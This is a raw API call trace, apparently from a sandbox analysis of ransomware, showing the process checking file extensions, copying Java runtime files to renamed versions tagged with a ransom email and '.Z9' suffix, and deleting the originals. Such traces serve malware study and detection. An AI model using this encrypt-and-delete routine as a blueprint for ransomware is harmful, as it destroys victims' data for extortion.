	[0093.263] lstrlenW (lpString=".docx") returned 5
	[0093.263] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1
	[0093.263] lstrlenW (lpString=".pdf") returned 4
	[0093.263] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.263] lstrlenW (lpString=".xls") returned 4
	[0093.263] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.263] lstrlenW (lpString=".xlsx") returned 5
	[0093.263] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1
	[0093.263] lstrlenW (lpString=".ppt") returned 4
	[0093.263] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0093.263] lstrlenW (lpString=".zip") returned 4
	[0093.263] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.263] lstrlenW (lpString=".rar") returned 4
	[0093.263] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.263] lstrlenW (lpString=".bz2") returned 4
	[0093.263] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.263] lstrlenW (lpString=".7z") returned 3
	[0093.263] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0093.263] lstrlenW (lpString=".dbf") returned 4
	[0093.263] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0093.263] lstrlenW (lpString=".1cd") returned 4
	[0093.263] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0093.264] lstrlenW (lpString=".jpg") returned 4
	[0093.264] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.264] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0093.264] lstrlenW (lpString="javaw.exe") returned 9
	[0093.264] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.264] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=206912) returned 1
	[0093.264] CloseHandle (hObject=0x394) returned 1
	[0093.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 0x20
	[0093.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.264] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.264] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.265] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.265] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0093.265] GetLastError () returned 0x0
	[0093.265] ReadFile (in: hFile=0x394, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x32840, lpOverlapped=0x0) returned 1
	[0093.272] WriteFile (in: hFile=0x378, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x32850, lpOverlapped=0x0) returned 1
	[0093.276] ReadFile (in: hFile=0x394, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.276] WriteFile (in: hFile=0x378, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0093.276] SetEndOfFile (hFile=0x378) returned 1
	[0093.276] CloseHandle (hObject=0x378) returned 1
	[0093.277] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.277] SetEndOfFile (hFile=0x394) returned 1
	[0093.278] CloseHandle (hObject=0x394) returned 1
	[0093.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.279] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 1
	[0093.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0093.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0093.279] lstrlenW (lpString=".doc") returned 4
	[0093.279] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.279] lstrlenW (lpString=".docx") returned 5
	[0093.279] lstrcmpiW (lpString1=".docx", lpString2="w.exe") returned -1
	[0093.279] lstrlenW (lpString=".pdf") returned 4
	[0093.279] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.279] lstrlenW (lpString=".xls") returned 4
	[0093.279] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.279] lstrlenW (lpString=".xlsx") returned 5
	[0093.279] lstrcmpiW (lpString1=".xlsx", lpString2="w.exe") returned -1
	[0093.279] lstrlenW (lpString=".ppt") returned 4
	[0093.279] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0093.279] lstrlenW (lpString=".zip") returned 4
	[0093.279] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.279] lstrlenW (lpString=".rar") returned 4
	[0093.279] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.279] lstrlenW (lpString=".bz2") returned 4
	[0093.280] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.280] lstrlenW (lpString=".7z") returned 3
	[0093.280] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0093.280] lstrlenW (lpString=".dbf") returned 4
	[0093.280] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0093.280] lstrlenW (lpString=".1cd") returned 4
	[0093.280] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0093.280] lstrlenW (lpString=".jpg") returned 4
	[0093.280] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0093.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0093.280] lstrlenW (lpString=".doc") returned 4
	[0093.280] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.280] lstrlenW (lpString=".docx") returned 5
	[0093.280] lstrcmpiW (lpString1=".docx", lpString2="w.exe") returned -1
	[0093.280] lstrlenW (lpString=".pdf") returned 4
	[0093.280] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.280] lstrlenW (lpString=".xls") returned 4
	[0093.280] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.280] lstrlenW (lpString=".xlsx") returned 5
	[0093.280] lstrcmpiW (lpString1=".xlsx", lpString2="w.exe") returned -1
	[0093.280] lstrlenW (lpString=".ppt") returned 4
	[0093.280] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0093.280] lstrlenW (lpString=".zip") returned 4
	[0093.280] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.280] lstrlenW (lpString=".rar") returned 4
	[0093.280] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.280] lstrlenW (lpString=".bz2") returned 4
	[0093.280] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.280] lstrlenW (lpString=".7z") returned 3
	[0093.280] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0093.281] lstrlenW (lpString=".dbf") returned 4
	[0093.281] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0093.281] lstrlenW (lpString=".1cd") returned 4
	[0093.281] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 48
	[0093.281] lstrlenW (lpString=".jpg") returned 4
	[0093.281] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.281] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0093.281] lstrlenW (lpString="javaws.exe") returned 10
	[0093.281] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.281] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=319552) returned 1
	[0093.281] CloseHandle (hObject=0x394) returned 1
	[0093.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 0x20
	[0093.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.282] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0093.282] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.282] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.282] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0093.282] GetLastError () returned 0x0
	[0093.282] ReadFile (in: hFile=0x394, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x4e040, lpOverlapped=0x0) returned 1
	[0093.312] WriteFile (in: hFile=0x378, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x4e050, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x4e050, lpOverlapped=0x0) returned 1
	[0093.319] ReadFile (in: hFile=0x394, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.320] WriteFile (in: hFile=0x378, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0093.320] SetEndOfFile (hFile=0x378) returned 1
	[0093.320] CloseHandle (hObject=0x378) returned 1
	[0093.320] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.320] SetEndOfFile (hFile=0x394) returned 1
	[0093.323] CloseHandle (hObject=0x394) returned 1
	[0093.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.323] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 1
	[0093.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0093.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0093.324] lstrlenW (lpString=".doc") returned 4
	[0093.324] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.324] lstrlenW (lpString=".docx") returned 5
	[0093.324] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0093.324] lstrlenW (lpString=".pdf") returned 4
	[0093.324] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.324] lstrlenW (lpString=".xls") returned 4
	[0093.324] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.324] lstrlenW (lpString=".xlsx") returned 5
	[0093.324] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0093.324] lstrlenW (lpString=".ppt") returned 4
	[0093.324] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0093.324] lstrlenW (lpString=".zip") returned 4
	[0093.324] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.324] lstrlenW (lpString=".rar") returned 4
	[0093.324] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.324] lstrlenW (lpString=".bz2") returned 4
	[0093.324] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.324] lstrlenW (lpString=".7z") returned 3
	[0093.324] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0093.324] lstrlenW (lpString=".dbf") returned 4
	[0093.324] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0093.324] lstrlenW (lpString=".1cd") returned 4
	[0093.324] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0093.324] lstrlenW (lpString=".jpg") returned 4
	[0093.324] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.324] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0093.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0093.325] lstrlenW (lpString=".doc") returned 4
	[0093.325] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0093.325] lstrlenW (lpString=".docx") returned 5
	[0093.325] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0093.325] lstrlenW (lpString=".pdf") returned 4
	[0093.325] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0093.325] lstrlenW (lpString=".xls") returned 4
	[0093.325] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0093.325] lstrlenW (lpString=".xlsx") returned 5
	[0093.325] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0093.325] lstrlenW (lpString=".ppt") returned 4
	[0093.325] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0093.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0093.325] lstrlenW (lpString=".zip") returned 4
	[0093.325] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0093.325] lstrlenW (lpString=".rar") returned 4
	[0093.325] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0093.325] lstrlenW (lpString=".bz2") returned 4
	[0093.325] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0093.325] lstrlenW (lpString=".7z") returned 3
	[0093.325] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0093.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0093.325] lstrlenW (lpString=".dbf") returned 4
	[0093.325] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0093.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0093.325] lstrlenW (lpString=".1cd") returned 4
	[0093.325] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0093.325] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe") returned 49
	[0093.325] lstrlenW (lpString=".jpg") returned 4
	[0093.325] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0093.325] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0093.548] lstrlenW (lpString="jawt.dll") returned 8
	[0093.548] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.548] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=14400) returned 1
	[0093.548] CloseHandle (hObject=0x38c) returned 1
	[0093.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 0x20
	[0093.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.549] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.549] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.549] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0093.549] GetLastError () returned 0x0
	[0093.549] ReadFile (in: hFile=0x38c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x3840, lpOverlapped=0x0) returned 1
	[0093.553] WriteFile (in: hFile=0x2bc, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x3850, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x3850, lpOverlapped=0x0) returned 1
	[0093.554] ReadFile (in: hFile=0x38c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.554] WriteFile (in: hFile=0x2bc, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0093.554] SetEndOfFile (hFile=0x2bc) returned 1
	[0093.554] CloseHandle (hObject=0x2bc) returned 1
	[0093.555] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.555] SetEndOfFile (hFile=0x38c) returned 1
	[0093.555] CloseHandle (hObject=0x38c) returned 1
	[0093.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0093.556] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 1
	[0093.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0093.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0093.556] lstrlenW (lpString=".doc") returned 4
	[0093.556] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.556] lstrlenW (lpString=".docx") returned 5
	[0093.556] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0093.556] lstrlenW (lpString=".pdf") returned 4
	[0093.556] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.556] lstrlenW (lpString=".xls") returned 4
	[0093.556] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.556] lstrlenW (lpString=".xlsx") returned 5
	[0093.556] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0093.556] lstrlenW (lpString=".ppt") returned 4
	[0093.556] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0093.556] lstrlenW (lpString=".zip") returned 4
	[0093.556] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.556] lstrlenW (lpString=".rar") returned 4
	[0093.556] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.557] lstrlenW (lpString=".bz2") returned 4
	[0093.557] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.557] lstrlenW (lpString=".7z") returned 3
	[0093.557] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0093.557] lstrlenW (lpString=".dbf") returned 4
	[0093.557] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0093.557] lstrlenW (lpString=".1cd") returned 4
	[0093.557] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0093.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0093.557] lstrlenW (lpString=".jpg") returned 4
	[0093.557] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0093.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0093.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0093.557] lstrlenW (lpString=".doc") returned 4
	[0093.557] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0093.557] lstrlenW (lpString=".docx") returned 5
	[0093.557] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0093.557] lstrlenW (lpString=".pdf") returned 4
	[0093.557] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0093.557] lstrlenW (lpString=".xls") returned 4
	[0093.557] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0093.557] lstrlenW (lpString=".xlsx") returned 5
	[0093.557] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0093.557] lstrlenW (lpString=".ppt") returned 4
	[0093.557] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0093.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0093.557] lstrlenW (lpString=".zip") returned 4
	[0093.557] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0093.557] lstrlenW (lpString=".rar") returned 4
	[0093.557] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0093.557] lstrlenW (lpString=".bz2") returned 4
	[0093.557] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0093.557] lstrlenW (lpString=".7z") returned 3
	[0093.557] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0093.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
	[0093.558] lstrlenW (lpString=".dbf") returned 4
	[0093.558] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0093.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll") returned 47
